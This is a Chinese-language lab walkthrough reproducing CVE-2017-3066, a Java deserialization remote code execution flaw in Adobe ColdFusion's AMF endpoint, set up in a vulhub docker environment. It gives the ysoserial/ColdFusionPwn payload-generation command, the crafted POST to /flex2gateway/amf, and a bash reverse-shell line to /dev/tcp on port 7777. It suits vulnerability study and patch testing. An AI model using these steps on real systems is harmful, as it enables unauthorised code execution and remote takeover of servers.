Adobe ColdFusion AMF 反序列化远程命令执行(CVE-2017-3066)
0x01漏洞概述
Adobe ColdFusion是由J. J. Allaire于1995年创建的商业快速Web应用程序开发计算平台。Adobe ColdFusion 2016 Update 3 及更早版本、ColdFusion 11 更新 11 及更早版本、ColdFusion 10 Update 22 及更早版本在 Apache BlazeDS 库中存在 Java 反序列化漏洞。成功利用此漏洞可导致任意代码执行。
0x02漏洞复现
(1)打开漏洞环境
docker-compose up -d
下载文件内容比较大,建议在网络情况良好的时候下载。
(2)访问靶机漏洞地址
http://your-ip:8500/CFIDE/administrator/index.cfm
管理员密码为:vulhub
(3)下载利用工具
ColdFusionPwn-0.0.1-SNAPSHOT-all.jar下载地址:
https://github.com/codewhitesec/ColdFusionPwn/releases/tag/0.0.1
ysoserial-master-8eb5cbfbf6-1.jar下载地址:
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
利用下载好的工具,生成poc文件,运行的命令如下:
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-8eb5cbfbf6-1.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
注意:要将命令中的文件名改为所下载的文件名字,否则会报错。
(4)访问漏洞环境的地址,并且利用burpsuite抓包
访问地址:
http://your-ip:8500/flex2gateway/amf
将GET请求改为POST请求,Content-Type 改为application/x-amf。
POST /flex2gateway/amf HTTP/1.1
Host: 192.168.207.132:8500
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-amf
Cookie: JSESSIONID=8694D2051604DFD75AFB9FFFEE36BA21.cfusion
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2849
添加刚刚生成的poc文件,并且点击发送,响应包中显示发送成功。
(5)验证文件是否建立
docker ps //查看漏洞环境的ID
docker exec -it ID /bin/bash
cd /tmp/
ls
ls -ll
文件成功建立。
(6)尝试反弹shell
构造反弹命令
bash -i >& /dev/tcp/ip地址/7777 0>&1
利用win10,进行监听,显示监听成功。
(7)关闭漏洞环境
docker-compose down
0x03修复建议
根据官方提示,升级到最新版本。